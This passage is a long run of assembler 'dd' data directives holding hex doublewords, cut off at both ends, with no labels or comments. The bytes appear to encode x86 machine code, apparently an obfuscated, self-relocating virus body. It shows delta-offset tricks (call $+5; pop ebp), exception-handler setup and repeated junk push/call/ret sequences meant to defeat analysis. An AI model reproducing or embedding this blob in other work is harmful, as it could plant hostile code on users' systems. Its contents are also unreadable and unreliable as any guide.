0AE959h, 336E0000h, 6FFCC26Fh dd 806B0F15h, 89CF8B50h, 0B0602404h, 0F99D8B0Fh, 61061F20h dd 247C8503h, 0BD8B0623h, 61F2735h, 8DBD2B57h, 5A061F23h dd 290000C6h, 1F004D85h, 6A5806h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0C6BF3EC3h, 90AE858Bh dd 90DA8B50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0D0C35545h, 5B5132FAh, 2468B5FFh, 0D1810623h, 494230F8h dd 246C95FFh, 0BF0F0623h, 0FC00BF8h, 0B885h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 870FFD44h, 6, 2EA19D2Bh, 8D89061Fh, 61F318Dh, 51006A61h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 4F84989Fh, 35453BF8h, 9D8BD759h, 61F1701h, 4CCB8166h dd 7085C7C4h, 1062324h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 2B16C357h dd 28A0Fh, 0CA8B0000h, 99E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 8B10699Eh dd 0E4B966DFh, 6A6159h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 1717DCC3h, 1CC681F8h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 1AB9C357h, 6A794347h, 0C8173718h, 0FFFD07E9h dd 11E8FFh, 17B0000h, 0A9A09F63h, 35E70A6Bh, 7B9E0E03h dd 60C4D39Bh, 2C45B589h, 0B58B061Fh, 61F0CF1h, 0E8685F61h dd 571B80ADh, 2860Fh, 1FB70000h, 2434815Ah, 1B802DE8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0ABC35141h dd 9DB531F8h, 6A061F00h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0E94F2B03h, 7, 0A208756Bh dd 0FFB2211Ch, 232478B5h, 0F8DFB906h, 95FF212Fh, 61F06F9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6DC35646h dd 835ABC38h, 0BD010BBAh, 61F2BFDh, 2470858Bh, 6A0623h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0D37FA0C3h, 4D6156E8h, 0E98AE8F7h, 9, 21E98FCCh, 57798675h dd 519D0B32h, 50061F08h, 5E8h, 0EA702500h, 6E9AFA8h, 20000000h dd 0E0CB8CE9h, 4895A4Dh, 9E86024h, 0B3000000h, 0C4A39163h dd 0A1E90F03h, 1F8D8D8Bh, 615A061Fh, 2480858Dh, 0F88B0623h dd 0CD98529h, 0B790061Fh, 0E950504Ah, 8, 9DEC2EFCh, 0E97F3612h dd 0B509905Ah, 61F1DC1h, 243D858Dh, 9D230623h, 61F0701h dd 0A523BA50h, 4894140h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0B01C437Ch, 5A5DCC62h dd 16699D89h, 95FF061Fh, 61F0FADh, 909958Bh, 0C08B061Fh dd 11F59D89h, 0BD83061Fh, 61F06C1h, 83097500h, 1F1F51BDh dd 13740006h, 0C08B5350h, 4D0B8h, 0DF9D8D00h, 0FF0621ADh dd 83585BD3h, 1F1F51BDh, 11740006h, 0D0B85350h, 8D000004h dd 21ACDE9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 3F3D560Ch, 4F2CF271h dd 0E18D8BB0h, 81061F18h, 0D7BD28E1h, 56006A4Ch, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BA66635Eh, 9D29ED67h, 61F1D7Dh, 6660C08Bh, 5861C18Bh dd 1FC18D8Bh, 8C2061Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 1F71C222h, 70556791h dd 0B5898C3Ah, 61F1DA5h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 7AA528C3h, 746DD8C6h dd 11E9h, 0C6E63F00h, 0C82F28BCh, 0ACA07C26h, 962B5C64h dd 0BF60DFB9h, 470413CBh, 161DBD2Bh, 8D61061Fh, 2324B185h dd 0D0D98106h, 0F15F671h, 8589CAB7h, 61F08D1h, 75E9h, 8C666000h dd 0F04A8D8h, 3584h, 0FF016A00h, 1F20D9B5h, 93858D06h dd 0FF062279h, 1D8589D0h, 8B061F08h, 0CEFC1FEh, 4000068h dd 6A006A20h, 0D685702h, 0FF000100h, 1F081D95h, 32E906h dd 85C60000h, 61F2025h, 30DF6856h, 0B5FFA9C5h, 61F3271h dd 7993858Dh, 0D0FF0622h, 0EA98589h, 858D061Fh, 61F2CBDh dd 6A206A50h, 95FF5605h, 61F0EA9h, 0E0C1C361h, 6A6006h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0F0854DC3h, 0B9C752BCh, 8BF917FEh, 0A18D03C0h, 83061F15h dd 1F06C1BDh, 9750006h, 1F51BD83h, 7400061Fh, 8B535019h dd 438B8C0h, 85890000h, 61F0F65h, 0AFA49D8Dh dd 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h, 438B853h dd 85890000h, 61F0F65h, 0AC939D8Dh, 0D3FF0621h, 6A585Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0F00D8BC3h, 0B589B1B4h, 61F1219h, 2CEDB509h, 0C08B061Fh dd 21B58B60h, 66061F31h, 61ED15BFh, 843E8h, 598D8900h dd 89061F31h, 1F2AB585h, 14E95106h, 4C000000h, 9D03F25Eh dd 8DF5B72Fh, 77CE945Bh, 0CACFE8E2h, 5FB20379h, 817E8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 91106F11h, 5E6EB632h, 8589513Ch, 61F3085h dd 157D8589h, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 8B04DEC3h, 0B55C8E13h, 7BFE8h, 0B58D2B00h dd 89061F0Fh, 1F1D1585h, 0EBB96606h, 7AAE8DEh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0BF95CCC3h, 81B0D197h, 10E89214h, 39000000h, 0D0E6F129h dd 0E2DB1458h, 716CF4E4h, 5EE0B901h, 0E9E98166h, 9D8956E3h dd 61F1701h, 4185895Eh, 6A061F0Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DD2DC353h dd 0E8F28B82h, 738h, 31B52353h, 59061F31h, 30D5B58Bh, 8589061Fh dd 61F3025h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 8C35040h, 0BE54AC30h, 409408D5h, 6FBE8h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 22C0662Fh, 89A93595h, 1F1EB185h, 0F2BF0F06h, 6CBE8h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 9269006Dh, 1C343659h, 0AC17B9F3h, 85895E85h dd 61F1ECDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0DDC35747h, 293FA587h, 0FD426C8Fh, 71E8FE8Bh, 51000006h dd 2E99BD89h, 895F061Fh, 1F0D2985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 60F58060h dd 0B70FA504h, 63AE8F9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 9B46CCC3h, 54967C3Ch dd 0A5BD8B60h, 0F061F02h, 585h, 0E1816600h, 8589E12Fh dd 61F1545h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0DEC35747h, 0E8FF2EA1h, 5DCh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0CC35242h, 0A4DEC8B7h, 58841389h dd 49858918h, 0E8061F07h, 5ACh, 5B13C681h, 858956FFh, 61F105Dh dd 0C340E681h, 95E862B5h, 8B000005h, 918589FAh, 0F061F32h dd 681h, 0B5958900h, 0E8061F05h, 57Ch, 758589FCh, 6A061F15h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 49BCC356h, 10218D89h, 4DE8061Fh, 89000005h dd 1F010585h, 0B98D8B06h, 0E8061F31h, 53Ch, 581110B9h dd 1858950h, 6A061F2Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0E4CEC352h, 395576D0h dd 0BD958960h, 1061F1Eh, 1F31B9BDh, 70BF6106h, 0E878B46Ch dd 4F8h, 658589F9h, 6A061F08h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0ED92C357h, 0D25209A7h dd 85895F7Bh, 61F0739h, 0EF509DB9h, 6A00B03Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 31BFC355h, 0B60F806Ah, 5890FD8h, 0BE000000h, 652B05AAh dd 68C0Fh, 0D7810000h, 5A73BBC3h, 6BAh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0AF7771AAh, 64C873Eh, 0BF0F607Ch, 7E9D9h, 373B0000h dd 450039E0h, 0C38B61ACh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 8C35242h, 1BC4FB6Bh, 0E904E8C1h, 5, 0E670D1D7h dd 0E2F766A1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 58C35343h, 0D58D8BC5h, 2B061F20h, 57006AD8h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 5093FC1Ah, 0E8525051h, 9, 0F7D37CEh, 0C23C4143h, 310F597Bh dd 0DE9h, 0A2D60A00h, 0D1DDE2EAh, 65A380BEh, 585A867Ah dd 6A9359h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0FAAFD3C3h, 950D6E77h, 3049B589h, 95FF061Fh dd 61F3175h, 0FC99D01h, 8D89061Fh, 61F20DDh, 52006A5Bh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8D90123Fh, 1F07B195h, 0F5CD8006h, 1A89FB8Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 13C35141h, 0E5AA5C95h dd 0D0CC078Ch, 0BF8B70Fh, 1F083DB5h, 958B6006h, 61F3159h dd 3850Fh, 0BF0F0000h, 428961DEh, 69B58B04h, 8D061F26h dd 1F306995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 34431400h, 0A98509CBh, 89061F1Eh dd 52006A1Ah, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0D2BF427Ah, 6651D6C0h, 89FA0ABFh, 0F88B0442h dd 721958Dh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 2F19E4C3h, 0F083773h, 684h, 0A5BD8B00h dd 8B061F0Eh, 1F1DD18Dh, 0F1A8906h, 4289FBBFh, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 277AECDDh, 870F2EAFh, 5, 0EAE98166h, 6870F2Bh, 8B000000h dd 1F0ABD8Dh, 0D9958D06h, 6A061F2Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5823C353h dd 0BDF567F1h, 0BF0FC9EEh, 6A1A89F6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 290CC357h dd 6A044289h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0A235C350h, 49BD8907h, 8D061F0Ah dd 1F1D8195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 219C496Eh, 5FB4A632h, 89F8B70Fh dd 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0D05DB4Dh, 1788873Ah, 13E8C0D3h, 49000000h dd 982B1E5Ch, 24BB1240h, 973D3EA5h, 0EFB3407Fh, 81666CB3h dd 5E62B4D7h, 66044289h, 12E8F38Bh, 21000000h, 28676EF1h dd 3B92E390h, 0D8B4C977h, 47475E9Bh, 0CDB58BA6h, 5E061F2Fh dd 2BA9958Dh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 1A7F11C3h, 6A1A89CDh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0B096C353h, 442899Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 7CC35545h, 958DC668h, 61F2091h, 1A89CB8Bh dd 8E9h, 9C19F300h, 70BDCFD1h, 4428952h dd 119D958Dh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 227D90C3h, 81660630h, 8BA8CBDFh dd 1F308DB5h, 6A1A8906h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0B499C351h, 0BB186E68h dd 1888726Ah, 1F09B58Bh, 4289061Fh, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0CCE906BDh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0E93EC355h, 0E7FABF82h, 0E2B1B665h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0FB749AC3h, 0E9006A5Fh, 10h, 0C4BF4CCEh dd 0AF8C0D6Fh, 78BF10BDh, 43272ED9h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 890AF2C3h dd 1F0ED19Dh, 0C5B58B06h, 6A061F2Ah, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 161755CCh dd 2BED2EBFh, 5D958901h, 0FF061F07h, 1F2B0D95h, 6DBD8B06h dd 0BF061F0Dh, 439E24DCh, 3DBD8BC3h, 8A061F06h, 0D5B589C5h dd 0F061F0Fh, 0C08BFFBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 2CC35242h, 88E52EA7h, 0BD836445h, 61F06C1h dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h, 438B8h dd 95858900h, 8D061F13h, 21B00B9Dh, 5BD3FF06h, 51BD8358h dd 61F1Fh, 53501774h, 438B8h, 95858900h, 8D061F13h, 21ACAC9Dh dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 9589F504h, 61F1EC9h, 12E8h, 6917C00h dd 22C0662Fh, 16A93595h, 0C08F4D89h, 897BDF75h, 1F08E5BDh dd 0C08B5E06h, 19BD858Dh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 9E14ADC3h, 29176EA1h dd 8B507A17h, 1F1341BDh, 0E6B35006h, 8B240489h, 1F149D9Dh dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0DBFAC356h, 0AE8D098h, 48000000h dd 2418313Dh, 0AEB67220h, 0BE975h, 0ACEE0000h, 4952D6FAh dd 0E59EB0C8h, 6A5F78h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0BBC35040h, 21556E8Fh, 0BA6E5AA9h, 8DD88BC8h dd 23403185h, 91BD3106h, 83061F24h, 6A05C0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 5E7218C3h dd 0A4CCB18h, 0BF50FCB2h, 7E1EFC96h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 63DCC353h, 0F85F9AC8h, 6ADBB0ABh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0DFDC6683h dd 58D8998h, 6A061F1Bh, 8DBD8B00h, 29061F1Fh, 1F302195h dd 6195FF06h, 66061F01h, 846F781h, 0B1F28D8Dh, 9D8B0622h dd 61F3129h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 147FCBC3h, 97F7C220h, 574033D9h dd 1FCDBD8Bh, 835F061Fh, 1F0EF5BDh, 850F0106h, 21h, 2BE78166h dd 31026AEDh, 1F2E999Dh, 0F98B5006h, 29240489h, 1F11F58Dh dd 5595FF06h, 0B3061F2Fh, 0D74E975h, 0E80000h, 5D000000h dd 403BED81h, 6E80623h, 87000000h, 5BCFDF69h, 0A935BB2Eh dd 8B5F07F0h, 0DA8B66D8h, 8EE4858Dh, 0BD2B0622h, 61F0DC9h dd 0DF8B6690h, 9070B750h, 14399D23h, 0FF64061Fh, 35h, 890F00h dd 0E9000000h, 9, 0CF308ACh, 0C98B2A0Bh, 25896480h, 0 dd 0EE9h, 41C7EA00h, 0D20EEF58h, 0D527205Fh, 0FF406FC1h dd 1F102985h, 0B1BD2B06h, 6A061F20h, 0D98D89FFh, 0FF061F12h dd 1F2AB5B5h, 919D8B06h, 0FF061F07h, 1F1CED95h, 0EDE906h dd 29510000h, 1F0B0DBDh, 0B05F06h, 68F0F50h, 31000000h dd 1F2BCD95h, 70E65F06h, 7699D2Bh, 71E4061Fh, 0D9B58950h dd 5F061F0Eh, 88DBD03h, 613C061Fh, 0B5830Fh, 0BF0F0000h dd 3F33BFDAh, 0B60F6516h, 0D006BBC8h, 6BA1483h, 0F5000000h dd 0BE9C18Bh, 41000000h, 310BE929h, 9AC1661Eh, 0E8C191AEh dd 859D8904h, 66061F06h, 0BD8BE2F7h, 61F0DE5h, 9531C82Bh dd 61F1F29h, 8166D18Bh, 0E98BB4EFh, 6, 0F9D9D89h, 858B061Fh dd 61F07B1h, 0D7FDBF66h, 6607C083h, 810BE381h, 6600C083h dd 0C1A5E381h, 830FD03Bh, 0Bh, 8A90F381h, 34E90380h, 8B000000h dd 1F20098Dh, 71BD8906h, 83061F15h, 840F01E1h, 1Fh, 14319529h dd 0A583061Fh, 61F2009h, 9589FCFEh, 61F07B1h, 2F4D9D8Bh dd 0E9061Fh, 8D000000h, 22CA57B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0F8A7A677h dd 0B4326F23h, 49BD89CBh, 6A061F2Dh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0A6D9C003h dd 31F21421h, 9D23E047h, 61F1EC9h, 145BF781h, 95FF1364h dd 61F1D45h, 652B9FCh, 80600000h, 0B70FC4C2h, 0E18361D9h dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0B196F32Ah, 13E8h, 18EAC000h, 0C76BE4B7h dd 34C53638h, 3E4396E5h, 0A8573F33h, 0F1F9BB66h, 6890F5Fh dd 89000000h, 1F23C5B5h, 0BF66FC06h, 7E967DFh, 72000000h dd 19F78400h, 0B84988h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 891C356h dd 815F79BEh, 0BAA9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0A87431C3h, 8B427F89h dd 1F17119Dh, 0C233AD06h, 0D003E8D1h, 7504E983h, 699D29F4h dd 0D061F2Ch, 88h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 47C35040h, 0AAC11651h, 25E51D28h, 30B59D8Bh dd 958B061Fh, 61F0B5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0B6C35646h, 8BC14FC3h, 0FE9FEh, 0DBD0000h dd 0A65B4762h, 5802E683h, 284B13F6h, 0C58D8BD4h, 6A061F20h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0FECEC353h, 0ED79CC5Eh, 0FF5CE3Ch, 8B50D8B7h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0FDE8B66h dd 289h, 6AD88B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 9172C351h, 0BD83B23Ch, 61F078Dh dd 92840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 11A4C356h, 4F9EBACCh dd 0E9BBAAF2h, 13h, 6C9D6E07h, 5CB0D668h, 2D2C98B7h, 9ADDF587h dd 0B81E0552h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 19C35343h dd 0D7F5A187h, 8D8D6A6Ch, 61F4DB0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 32C35040h, 0A30EAEC1h, 8CB3E1FFh dd 42EB8166h, 7DBD83F7h, 61F13h, 40B840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0A4FB0BC3h, 3F46F8D4h, 606C45C0h, 1890Fh, 8BFC0000h dd 1F122985h, 0BD836106h, 61F137Dh, 0E5840F01h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0F740C356h, 0CD8E1285h, 9D8BE67Fh, 61F0EB1h dd 808BF66h, 137DBD83h, 0F03061Fh, 37586h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0B6DB48D3h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 64C65EB8h, 89D98C66h dd 1F1B3D9Dh, 4E18006h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0AFC35242h, 60C12CECh, 0F6493810h, 0AD9D8B92h dd 0A061F2Ch, 34840FC9h, 8B000001h, 1F1D01BDh, 8BFA8B06h dd 1F0DC185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 1D8B3E4Bh, 2EC98533h, 6A061Fh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0D4E2EBC3h, 90DA8B2Eh, 7E9h, 44603500h, 0C1B826BCh dd 830F50h, 90000000h, 6890Fh, 8D890000h, 61F2C49h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0E9FDD6C3h, 0Bh, 64D2658Bh, 11AD14EAh, 0F58619Bh, 1582h dd 10E900h, 2F670000h, 0A799FA31h, 59182C75h, 8AB78E5Ch dd 0DB6830DAh, 607F6EA0h, 0B866F78Ah, 8161EECBh, 0A3242434h dd 11E97F71h, 75000000h, 8BC46BF3h, 7DDFA753h, 7CA2A827h dd 675EBB1Ch, 2DE195FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 158619C3h, 0C9806460h dd 74AEBBFFh, 858900E4h, 622B255h, 4160DB81h, 0E9FC6F89h dd 15Bh, 6E9h, 79DCA800h, 8B2B255Dh, 22B24D85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 37DFE116h, 0DEF79354h, 0C7AA59h, 18h, 0E572CB81h, 0B5895849h dd 61F1501h, 0B251B58Bh, 81660622h, 8B0BCACBh, 1F13A185h dd 0B5BD8906h, 89061F06h, 0C1858B06h, 0F061F0Dh, 681h dd 0B5958900h, 89061F15h, 0AE80446h, 0C2000000h, 7A79B36Ah dd 0C40D1722h, 15BD2345h, 5B061F17h, 0DA8B6650h, 66243489h dd 606652BFh, 8410F081h, 950B7215h, 61F0E05h, 4DB5FF61h dd 0F0622B2h, 18Bh, 0DA68FC00h, 8AF2BCABh, 240481FAh, 0D625825h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 98C35545h dd 0F23A960Ah, 665760E7h, 895EF98Bh, 1F2BA585h, 858D6106h dd 622B255h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 4CC35545h, 8BA8203Ah, 1F13F99Dh, 0BB665006h, 4890892h dd 599D8924h, 0FF061F17h, 1F2DE195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 70186DF4h dd 7F6D2527h, 0BF0F8446h, 119501F8h, 61061F16h, 2419BD89h dd 85C7061Fh, 61F137Dh, 3, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0F8C35141h, 29376DADh, 1F13C9BDh, 0A9953106h dd 83061F31h, 22B255BDh, 840F0006h, 2Ah, 0C8B0Fh, 8B600000h dd 1F19598Dh, 0A3BF6606h, 896061ABh, 1F066595h, 0EB816606h dd 0E961BB42h, 21h, 2099BD8Bh, 3050061Fh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 96DDD959h dd 0F41E8FEBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0AC35747h, 0F4DD17F2h, 1850F51h, 0F8000000h, 7DBD835Fh dd 3061F13h, 440850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0BFAF7EC3h, 0FE5BFF01h dd 55BD8341h, 622B2h, 410840Fh, 0B5890000h, 61F0CBDh, 0B255B5FFh dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0FAD9DCC3h, 64EC2771h, 1BC995FFh, 0DB80061Fh dd 0AE92Fh, 0B3440000h, 0F53D2493h, 6B93487Bh, 0B249B58Bh dd 0BD8B0622h, 61F19D9h, 106C7h, 0F88B0001h, 57D5DF81h dd 6050384Dh, 3589BA66h, 2E61B866h, 24348961h, 10E9h, 74FD900h dd 9B7AB819h, 77303930h, 72936124h, 55B5FF77h, 660622B2h dd 9A46D381h, 162195FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 56F926C3h, 2D699531h dd 8B5F061Fh, 22B249B5h, 0DE906h, 0CAE30000h, 0EFD8E835h dd 5580008Eh, 8BD49363h, 1F2FF185h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 9D700EBDh dd 0B426100Eh, 1B918D89h, 8689061Fh, 0C4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7C35545h, 0EA4658Dh dd 81FB8B39h, 7DA859DBh, 5D958B15h, 83061F0Bh, 0AE804C2h dd 29000000h, 0F791CFF5h, 4BE4979Ch, 0D99531CBh, 5F061F10h dd 89205089h, 1F2B9195h, 97858D06h, 6A0622C7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 4B30C356h, 86892457h, 0B8h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 48C35747h, 0EC7BC9B4h, 375C3058h dd 0B3E7BF66h, 757A12BBh, 0E9006A72h, 8, 625F44D1h, 28D3BF71h dd 0B255B5FFh, 0BF0F0622h, 5595FFFAh, 80061F2Fh, 0CB806CD7h dd 0F50961Bh, 489h, 0BFBF6600h, 6A96C7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0B2705DC3h dd 89C7628Dh, 0B255B5FFh, 9D8B0622h, 61F2A3Dh, 0E1D95FFh dd 0BD8B061Fh, 61F2F0Dh, 2C0DBD83h, 0F00061Fh, 6C84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 662CA453h, 96CCB6BBh, 8E9h, 0A59FE00h, 3AA6509Dh, 11E950E2h dd 7C000000h, 6E960616h, 0BA91287Eh, 0C83D4961h, 55FC1024h dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8B910346h, 1F2B09BDh, 55B5FF06h, 660622B2h dd 0FF7939BBh, 1F134995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 71852919h dd 0FF061F2Ah, 22B255B5h, 0BF0F5006h, 95FF5BFEh, 61F1075h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D2C35747h dd 0B8496207h, 0CAB6B60Ah, 51D48A60h, 0CD9858Bh, 615A061Fh dd 9BD83h, 0F02061Fh, 0C284h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 15641369h dd 13E85836h, 91000000h, 